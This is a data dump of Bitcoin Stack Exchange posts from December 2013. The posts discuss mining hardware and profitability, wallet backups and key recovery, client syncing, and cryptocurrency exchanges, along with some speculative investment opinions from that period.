  <row Id="18204" PostTypeId="2" ParentId="18198" CreationDate="2013-12-07T09:49:36.233" Score="1" Body="&lt;p&gt;Are you mining Bitcoin with cpuminer? Solo? You have a better chance of winning the lottery. Mine a CPU coin such as Quark or Primecoin, and trade for Bitcoin on an exchange such as BTC-e.com. ASICs (Application Specific Integrated Circuits) mine bitcoin magnitudes faster than a CPU since they are designed to computer SHA-256 and only SHA-256. &lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T09:49:36.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18205" PostTypeId="2" ParentId="18197" CreationDate="2013-12-07T09:54:17.680" Score="1" Body="&lt;p&gt;Its hard to say. Here's the thing... Butterfly Labs is notorious for taking your money now and delivering a products a year and a half later. The problem is that the difficulty factor for mining Bitcoins rises exponentially. This means that you will mine a FRACTION of what you thought you would be mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF you believe that bitcoin will continue to grow, then despite the exponential increase in mining difficulty, bitcoin's value in USD may also grow exponentially. This means that your investment may pay off. Its a risk and a complete gamble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I believe bitcoin will continue to grow. If I were to spend money on mining hardware, I would put my dollar towards GPU and CPU coins such as Litecoin and Quark/Primecoin. I feel as though altcoins have more potential to grow. Additionally, your hardware can actually be sold when mining no longer becomes profitable. No one wants your ASICS when the next best ASIC is here. trash...&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T09:54:17.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18206" PostTypeId="2" ParentId="18199" CreationDate="2013-12-07T09:57:46.027" Score="2" Body="&lt;p&gt;If you're looking for the 'quick around' investment, you probably should have money/coins sitting in both accounts. Bitcoins and other cryptocurrencies tranfer nice and quick, but fiat cash is alway SLOW... too slow. Expect the worse case scenario when moving fiat cash. There is no incentive to move your fiat cash quickly. (and thats why we love cryptos :D )&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T09:57:46.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18207" PostTypeId="2" ParentId="18100" CreationDate="2013-12-07T10:12:04.510" Score="0" Body="&lt;p&gt;Checkout pywallet. Its a python script that may be able to help you out. It can be used to extract the private key. Additionally, you could try using an older version of the bitcoin client. I had a similar problem happen when moving an OSX bitcoin wallet to a new OSX client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're next west bet is do start guessing mutations of your password with a tool such as John the Ripper. For example if the true password is 'p4ssw0rd123', and you type in 'p4ssw0rd321', you can define rules that will iterate over such a search space. (Honestly only do this if you have a whole lot of coins sitting in that wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jackjack-jj/pywallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T10:12:04.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18208" PostTypeId="2" ParentId="17582" CreationDate="2013-12-07T10:32:21.883" Score="0" Body="&lt;p&gt;In my opinion, the ability to fork Bitcoin and create child coins is the biggest variable in the whole cryptocurrency world. Cryptocurrency is the future and is here to stay. Will bitcoin always be the dominant coin because it was first? Not sure. Should we adopt new coins because they offer improvements? Does that make most coins useless since we can throw away old coins and replace them with improved coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, intuition tells me that there must exist at least one coin for EACH type of major computing power. For example, the big three are ASIC, GPU, and CPU. Cryptocurrency is based on the idea of security through math and encryption, regardless of what processor achieves that. Decentralizing computational power through hardware is the fundamental idea behind these currencies. A CPU or GPU coins can be just as secure (or more) as a ASIC coin such as bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;People are creating these coins because it is profitable and its making history. Altcoins have high potential to grow because all cryptocurrency today is speculation. I recommending dipping into one the big three and HOLDING. Bitcoin, Litecoin, and possibly a CPU coins if you're feeling risky (Quark/Primecoin). Its the wild west and things are just gettings started!&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T10:32:21.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18209" PostTypeId="2" ParentId="18189" CreationDate="2013-12-07T10:46:45.680" Score="1" Body="&lt;p&gt;Most exchanges charge around 0.5% per transaction. Assuming you go both ways, that can be around 1% of your total conversion. You will also lose money to another fee when transferring coins back to fiat. A second consideration worth noting is the volatility of the coins. You may gain or lose money during the time that you are converting from one currency to another. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The risks are still up in the air. Cryptocurrency is like the wild west, and its exciting! Maybe you'll be the one to create the new cheapest currency conversion service ;)&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T10:46:45.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18210" PostTypeId="2" ParentId="17628" CreationDate="2013-12-07T10:51:25.347" Score="1" Body="&lt;p&gt;Checkout pywallet. Its a python script that may be able to help you out by recovering your private key. I've had similar issues with Multibit in the past. Is your wallet encrypted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jackjack-jj/pywallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T10:51:25.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18211" PostTypeId="2" ParentId="17617" CreationDate="2013-12-07T10:55:51.383" Score="0" Body="&lt;p&gt;If you want a bitcoin miner of your own, don't reinvent the wheel and instead use efficient software. You're wasting your time if you aren't mining with ASICs anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to think of mining Bitcoins as a way of bruteforcing SHA-256. Basically the difficulty of the Bitcoin network determines how long it should take the total computing power of the entire Bitcoin network to brute force or 'guess' the input to a SHA-256 function. By making the input sufficiently complex, the Bitcoin network can control how often new blocks are awarded. This concept decentralizes the currencies by enforcing a proof of work system. It comes down to the math behind computing algorithms and time.&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T10:55:51.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18212" PostTypeId="2" ParentId="17533" CreationDate="2013-12-07T10:58:04.460" Score="1" Body="&lt;p&gt;Checkout pywallet. Its a python script that may be able to help you out by recovering your private key. I've had similar issues with Multibit in the past. Is your wallet encrypted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jackjack-jj/pywallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T10:58:04.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18213" PostTypeId="2" ParentId="17506" CreationDate="2013-12-07T11:01:39.353" Score="1" Body="&lt;p&gt;Theoretically, you should be using cgminer to mine a GPU coin with your GPU :). Maybe not the answer you're looking for, but you're going to get bored real quick when your miner returns 2 cents for the week. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend mining Litecoin with your GPU. Convert to bitcoin on BTC-e.com if thats your favorite. Its practically the same challenge/experience that you're working at, but you'll at least see some progress. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T11:01:39.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18214" PostTypeId="2" ParentId="17412" CreationDate="2013-12-07T11:08:29.280" Score="2" Body="&lt;p&gt;The blocks, chains, and all that excessive data can be tossed. All you need is your wallet.dat which contains your private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to think of it this way... The bitcoin network is like a massive bank full of billions, trillions, and so on of vaults. You can put coins into any vault without needing a key to that vault. You can only take coins out of a vault IF you have a key to that vault (your wallet). Your coins are never stored on your actually computer. Only the KEY to the vault is stored on your computer. That key is used to access your coins. Downloading the blockchain is simply a way of letting your bitcoin client know how many coins you have, who you sent coins to, and who sent coins to you. Its like a virtual copy of those billions of vaults, which mostly all you don't have access to. Only that vault whose key you possess. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T11:08:29.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18215" PostTypeId="2" ParentId="17175" CreationDate="2013-12-07T11:12:02.673" Score="-1" Body="&lt;p&gt;Don't send cash to BTC-e.com. They're horrible and are having serious issues with fiat transfers. I recommend only moving coins in and out of btc-e.com. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal favorite is using localbitcoins.com to buy coins in cash. Send those bitcoins to your btc-e.com and trade away! In the past, I have also used Dwolla/MtGox as a way of transfering fiat from my US bank account into bitcoins. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T11:12:02.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18216" PostTypeId="2" ParentId="17101" CreationDate="2013-12-07T11:14:54.987" Score="1" Body="&lt;p&gt;You simply locate the wallet.dat file and copy it to each client. The wallet file is simply a KEY to your coins, and not actually the coins themselves... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Data_directory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, the word 'wallet' needs to be replaced with something that doesn't confuse everyone. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T11:14:54.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18217" PostTypeId="2" ParentId="16986" CreationDate="2013-12-07T11:24:28.007" Score="1" Body="&lt;p&gt;Mining really can be a zero sum game. The profitability factor though is the potential of increase in Bitcoin value. If you start mining now and begin start to mine less and less, you may only come out even. Hold those coins long enough, and you may be able to make a profit if the value of Bitcoin continues to increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you throw all this money at ASIC hardware and it becomes useless in a year, it's trash. There is no use for out of date ASICS. Invest into GPUs and CPUS, in a year, you can at least sell the hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I feel as though there is more potential for growth in GPU and CPU coins such as Litecoin and Primecoin/Quark. You can mine these coins and transfer to Bitcoin if that feels right for you. I started mining Litecoin in June with the assumption that I would break even around January. The value of Litecoin skyrocketed and the whole deal became very profitable. It all comes down to whether or not you believe cryptocurrencies will continue to grow in value. I believe that cryptos are just in their infancy, and things are just getting started. You might also be better off simply buying coins. &lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T11:24:28.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18218" PostTypeId="2" ParentId="16965" CreationDate="2013-12-07T11:26:31.627" Score="0" Body="&lt;p&gt;I also use an OSX bitcoin client. It is slow as hell. You may try deleting the blockchain data file, which I believe is in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application Support/Bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should restart the syncing process. Be sure not to delete your wallet.data, and you're good to go!&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T11:26:31.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18219" PostTypeId="2" ParentId="17101" CreationDate="2013-12-07T11:27:47.213" Score="1" Body="&lt;p&gt;You can do so by exporting your wallet including your private key to those different clients which is rather easy if you use the Bitcoin-qt client, or alternatively you can use a hosted wallet service such as &lt;a href=&quot;http://coinbase.com&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt; or &lt;a href=&quot;http://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;Blockchain Wallet&lt;/a&gt;. Keep in mind that a hosted service can potentially be less secure than a wallet on your computer. &lt;a href=&quot;http://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;This guide&lt;/a&gt; on the Bitcoin website can help you decide what wallet client is right for you&lt;/p&gt;&#xA;" OwnerDisplayName="user10346" LastActivityDate="2013-12-07T11:27:47.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18220" PostTypeId="2" ParentId="16734" CreationDate="2013-12-07T11:29:25.143" Score="1" Body="&lt;p&gt;Your bitcoins belong to an 'account' that can only be accessed by using a &lt;em&gt;private key&lt;/em&gt;, which is in your wallet. You can have copies of that private key/wallet in many places. They all access the same &lt;em&gt;account&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to think of it this way... The bitcoin network is like a massive bank full of billions, trillions, and so on of vaults. You can put coins into any vault without needing a key to that vault. You can only take coins out of a vault IF you have a key to that vault (your wallet). Your coins are never stored on your actually computer. Only the KEY to the vault is stored on your computer. That key is used to access your coins. Downloading the blockchain is simply a way of letting your bitcoin client know how many coins you have, who you sent coins to, and who sent coins to you. Its like a virtual copy of those billions of vaults, which mostly all you don't have access to. Only that vault whose key you possess. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="10329" LastActivityDate="2013-12-07T11:29:25.143" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18222" PostTypeId="1" AcceptedAnswerId="18233" CreationDate="2013-12-07T12:09:47.190" Score="3" ViewCount="667" Body="&lt;p&gt;I recently installed &lt;em&gt;Bitcoin-Qt&lt;/em&gt; on my laptop and it started performing the synchronisation with the network since a couple of weeks. And it's not finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do the Bitcoin-Qt application have to do so? If I am right, this application is just a Bitcoin client... I mean, it have not to check transaction integrity such as a miner, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I would know if according to you, in 10 years (with some imaginations), having a lot of transaction every days, this synchronisation could take some months or even more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your lights!&lt;/p&gt;&#xA;" OwnerUserId="10300" LastEditorUserId="10300" LastEditDate="2013-12-07T13:18:04.170" LastActivityDate="2013-12-07T16:22:56.187" Title="Transaction history size" Tags="|bitcoin-core|network|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18223" PostTypeId="2" ParentId="18167" CreationDate="2013-12-07T12:33:37.187" Score="2" Body="&lt;p&gt;You need to supply an extra option to compile a QT binary. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./autogen.sh&#xA;./configure --with-qt&#xA;make -j8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your binary will then be in &lt;code&gt;/src/qt/&lt;/code&gt; as expected. To turn it into an &lt;code&gt;.app&lt;/code&gt; you'll need to read &lt;code&gt;contrib/macdeploy/readme.md&lt;/code&gt; and then run &lt;code&gt;make deploy&lt;/code&gt; to wrap it in an application bundle ready for release. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-07T12:33:37.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18224" PostTypeId="2" ParentId="16563" CreationDate="2013-12-07T12:56:35.667" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;http://fabulouspanda.co.uk/macminer/&quot; rel=&quot;nofollow&quot;&gt;MacMiner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;either use the fpga/asic or bfgminer window (which both use bfgminer) or the cgminer window depending on your driver setup. on 10.9 bfgminer should work without driver meddling and prior to 10.9 cgminer should work without installing drivers. You can run either from the command line or through MacMiner.&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="129" LastEditDate="2014-02-09T12:35:00.610" LastActivityDate="2014-02-09T12:35:00.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18225" PostTypeId="1" AcceptedAnswerId="18230" CreationDate="2013-12-07T14:06:13.433" Score="0" ViewCount="705" Body="&lt;p&gt;I'm a newbie with this argument. If I want to mine Bitcoin with Raspberry, how should I proceed? In specific:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Distro&lt;/li&gt;&#xA;&lt;li&gt;Mining's software&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And, How many Bitcoins I can to mine in a month?&lt;/p&gt;&#xA;" OwnerUserId="10359" LastEditorUserId="5406" LastEditDate="2016-04-25T21:27:34.973" LastActivityDate="2016-04-25T21:27:34.973" Title="Bitcoin mining with a Raspberry Pi" Tags="|mining-pools|miner-configuration|raspberry-pi|" AnswerCount="2" CommentCount="0" ClosedDate="2013-12-10T05:41:41.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="18226" PostTypeId="2" ParentId="18059" CreationDate="2013-12-07T15:29:21.120" Score="1" Body="&lt;p&gt;First, check on blockchain.info and see what the status of the transaction is.  Make sure that it shows that the address you think it was sent to really received the coins.  Once you have done that, you know that the transaction has been recorded publicly.  Then it is just a matter of opening a wallet that owns that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to check the &quot;Request&quot; tab in MultiBit and make sure that the address you sent the coin to is listed there.  If it isn't, then you have opened the wrong wallet, and you need to find the wallet that contains the address you sent it to.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-12-07T15:29:21.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18227" PostTypeId="2" ParentId="18225" CreationDate="2013-12-07T15:41:54.467" Score="0" Body="&lt;p&gt;The Pi is a very slow computer. You will expend a lot of effort for very little reward. You would generally run &lt;a href=&quot;http://www.raspbian.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Raspbian&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you would install &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9694/how-to-configure-cgminer-with-cpu&quot;&gt;CGMiner&lt;/a&gt;. But as I said, it will be mostly a learning experience, rather than a means of profit.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-12-07T15:41:54.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18228" PostTypeId="1" CreationDate="2013-12-07T15:43:36.517" Score="0" ViewCount="2692" Body="&lt;p&gt;I'm an internet provider for a village that doesn't have access to internet except through my service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about using my customers' PCs for mining and splitting the profits between us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each computer will vary from 50-100kh/s. So it will lead to more than 25000khs/s if combined in a pool mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I set up each computer to do SOLO mining, then each one sends me the blocks it mined, and I exchange them to USD and split the profits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I join a mining pool ex. &lt;a href=&quot;http://www.wemineltc.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.wemineltc.com/&lt;/a&gt; and add the computers as workers under my account name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I create my own pool and make them search together to find the blocks and have the blocks go directly to me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the 3rd option is the best, are there any simple tutorials on how to do it with the GUIminer Scrypt Alpha (so that the users don't have to be confused with the command lines stuff, and to make it automated with Windows startup)?&lt;/p&gt;&#xA;" OwnerUserId="10365" LastEditorDisplayName="user1586" LastEditDate="2013-12-23T10:56:04.153" LastActivityDate="2015-01-18T04:32:10.183" Title="Join a pool or create my own pool with my 500 PCs?" Tags="|mining-pools|litecoin|solo-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18229" PostTypeId="2" ParentId="18222" CreationDate="2013-12-07T15:46:29.077" Score="0" Body="&lt;p&gt;It is a good question.  Bitcoin-Qt was the first client written.   It was written to download the entire blockchain, which is probably not optimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are correct that this is problematic, and it will become even more so over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are so-called thin clients, such as &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt;, for instance, that you might want to look at.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-12-07T15:46:29.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18230" PostTypeId="2" ParentId="18225" CreationDate="2013-12-07T15:46:33.573" Score="3" Body="&lt;p&gt;You'll attain about 0.1MH/s with an overclocked and overvolted Raspberry Pi. 963437 years on average to generate a block, or averaged to 0.00000007 BTC a day when using a pool. Not enough to cover the 5W power draw. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-07T15:46:33.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18232" PostTypeId="2" ParentId="17796" CreationDate="2013-12-07T16:16:25.843" Score="0" Body="&lt;p&gt;I found this awesome article that answered all my questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works/&quot; rel=&quot;nofollow&quot;&gt;How the Bitcoin Protocol Actually Works&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9946" LastActivityDate="2013-12-07T16:16:25.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18233" PostTypeId="2" ParentId="18222" CreationDate="2013-12-07T16:22:56.187" Score="1" Body="&lt;p&gt;The main reason to run Bitcoin-Qt is to help the bitcoin network by relaying transactions and blocks as well as verifying the blockchain.  Bitcoin is a distributed protocol and relies on its users for validation.  You can &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11592/is-there-a-newer-bitcoin-blockchain-download-available&quot;&gt;download&lt;/a&gt; an initial blockchain so that your client doesn't need to get it from a peer node (your download will be limited by the upload bandwidth of the peer node).  Once synchronized, the network load is around 144 MBytes/day depending on the number of connections and the needs of your peer nodes (your upload bandwidth can be saturated for hours if another node needs to download the blockchain from you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you just want to use bitcoins without participating in the network, you should use a light client such as Multibit, Electrum, or Armory.  Check &lt;a href=&quot;http://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-12-07T16:22:56.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18234" PostTypeId="2" ParentId="16623" CreationDate="2013-12-07T16:23:58.553" Score="1" Body="&lt;p&gt;Yes, it´s possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, there are some things that you shound know:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Minning Bitcoin with GPU is almost dead, you should have read about other crypto coins. Specifically &quot;scrypt&quot; based ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Nvidia are not power efficient for mining... would be better if you just sell the nvidia and buy a amd with the same price. Unless you want to use your nvidia for gamming, video editing... dunno... just not for mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) CGMiner = AMD ; CUDAminer = Nvidia ... diferentes programs. don´t no if they work well together... if it does, them you are good to go :-) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope i had help you.  &lt;/p&gt;&#xA;" OwnerUserId="10367" LastEditorUserId="-1" LastEditDate="2013-12-26T08:39:08.330" LastActivityDate="2013-12-26T08:39:08.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18235" PostTypeId="2" ParentId="17413" CreationDate="2013-12-07T16:24:25.567" Score="1" Body="&lt;p&gt;As of &lt;a href=&quot;http://arstechnica.com/tech-policy/2012/10/78-percent-of-bitcoin-currency-stashed-under-digital-mattress-study-finds/&quot; rel=&quot;nofollow&quot;&gt;October 2012, it was determined that around 78% of all bitcoins minted (as of May 13 2012) were being hoarded &quot;in user accounts that have never participated in outgoing transactions&quot;&lt;/a&gt;, meaning that all other trading and commerce was actually being transacted with a &quot;float&quot; of the remaining 22% (i.e. less than 1 in 4); and there is really no way of knowing how much of THAT might simply be faux-&quot;trades&quot; between accounts owned by the same entity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certainly very little of the total float (and thus even less of the total &quot;coinage&quot;) is actually being used as a &quot;currency&quot; to make purchases.&lt;/p&gt;&#xA;" OwnerUserId="10368" LastEditorUserId="10368" LastEditDate="2013-12-07T16:31:33.690" LastActivityDate="2013-12-07T16:31:33.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18236" PostTypeId="2" ParentId="18194" CreationDate="2013-12-07T16:35:13.897" Score="2" Body="&lt;p&gt;Most mining software will have that number available for you.  Or you can join a pool for a day or two and most of the bigger ones (eg slush, 50btc) make these stats available for your miner(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are trying to programmatically calculate this for software you are writing probably best to take an average every minute or so. As in most cases, the formula is built right into the unit -- num of hashes per (ie divided by) num of seconds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually it's Mh/s (1,000,000 hash/sec) usually now so more like (Num hashes / 1,000,000) / sec&lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="6321" LastEditDate="2014-04-24T23:48:01.017" LastActivityDate="2014-04-24T23:48:01.017" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18237" PostTypeId="1" CreationDate="2013-12-07T16:38:47.430" Score="1" ViewCount="270" Body="&lt;p&gt;Installed the Bitcoin QT client only last week... synchronised it with the blockchain... and sent my bitcoins to this adress...&#xA;Now, when I want to send to some other address, it asks for the passphrase. However, have never had the option of providing a passphrase. Any thoughts on this?&lt;/p&gt;&#xA;" OwnerUserId="10371" LastEditorUserId="3364" LastEditDate="2014-03-07T22:25:41.550" LastActivityDate="2014-03-07T22:25:41.550" Title="Bitcoin QT encryption / passphrase" Tags="|bitcoin-core|passphrase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18238" PostTypeId="2" ParentId="8829" CreationDate="2013-12-07T16:40:52.537" Score="3" Body="&lt;p&gt;If you want to run a command line client such as cgminer, bfgminer or cpuminer (minerd) without compiling them yourself you can download MacMiner from &lt;a href=&quot;http://macminer.fabulouspanda.com/macminer/&quot; rel=&quot;nofollow&quot;&gt;http://macminer.fabulouspanda.com/macminer/&lt;/a&gt; and run them in the Terminal like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /Applications/MacMiner.app/Contents/Resources/bfgminer/bin&#xA;&#xA;./bfgminer -o http://your.pool.com:9332 -u username -p password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there is a version specifically for 10.6 snow leopard, but the newer backends should work in the Terminal on 10.6 with the versions for 10.7+&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="129" LastEditDate="2015-07-30T03:42:28.920" LastActivityDate="2015-07-30T03:42:28.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18239" PostTypeId="2" ParentId="18237" CreationDate="2013-12-07T16:48:07.257" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, have never had the option of providing a passphrase. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You must certainly have set a passphrase in the past. There's no way to remove it without knowing exactly what it is. If you can not recall what password you set, your funds are lost. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-07T16:48:07.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18240" PostTypeId="1" CreationDate="2013-12-07T17:15:27.113" Score="1" ViewCount="1532" Body="&lt;p&gt;Bitcoind has 3 methods &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;blocknotify=cmd&lt;/li&gt;&#xA;&lt;li&gt;walletnotify=cmd&lt;/li&gt;&#xA;&lt;li&gt;alertnotify=cmd&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I understand that these 3 command line parameters needs to be used for get notifications from bitcoin daemon. Could someone suggest how it needs to be integrated or communicate with PHP application.&lt;/p&gt;&#xA;" OwnerUserId="9522" LastActivityDate="2014-05-14T06:00:08.220" Title="Implementing events with the bitcoind notifications using PHP" Tags="|bitcoind|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18242" PostTypeId="2" ParentId="16623" CreationDate="2013-12-07T18:47:49.597" Score="0" Body="&lt;p&gt;Mining with normal hardware CPU/GPU is pointless you get less than GHs and are not power efficient. Most of the mining pool will not even give you work to do.&#xA;You have two alternative, buy hardware: Butterfly labs, Kncminer are the most famous company selling it. In alternative you can use cloud mining with &lt;a href=&quot;https://cex.io/r/0/giagola/0/&quot; rel=&quot;nofollow&quot;&gt;cex.io&lt;/a&gt; where you can buy and sell GH/s any time. You will get access to the biggest private mining pool, GHash.io and you can potentialy gain on trading&lt;/p&gt;&#xA;" OwnerUserId="10285" LastEditorUserId="10285" LastEditDate="2013-12-07T19:15:30.427" LastActivityDate="2013-12-07T19:15:30.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
